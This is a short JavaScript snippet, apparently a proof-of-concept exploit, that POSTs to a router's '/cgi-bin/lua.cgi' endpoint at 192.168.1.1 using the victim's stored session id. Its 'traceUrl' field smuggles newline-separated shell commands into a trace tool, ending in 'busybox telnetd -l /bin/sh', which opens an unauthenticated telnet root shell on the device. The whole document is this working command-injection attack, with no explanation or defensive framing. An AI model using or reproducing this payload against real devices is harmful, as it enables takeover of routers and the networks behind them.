   fetch('http://192.168.1.1/cgi-bin/lua.cgi', {
   method: 'POST',
   headers: {
      'Content-Type': 'application/json'
   },
   body: JSON.stringify({
      cmd: 145,
      tool: "trace_start",
      tracePort: "",
      traceUrl: "127.0.0.1\ncd /\nbusybox telnetd -l /bin/sh",
      sessionId: sessionStorage.getItem('sessionId')
   })
   })
   .then(response => response.json())
   .then(data => console.log(data))
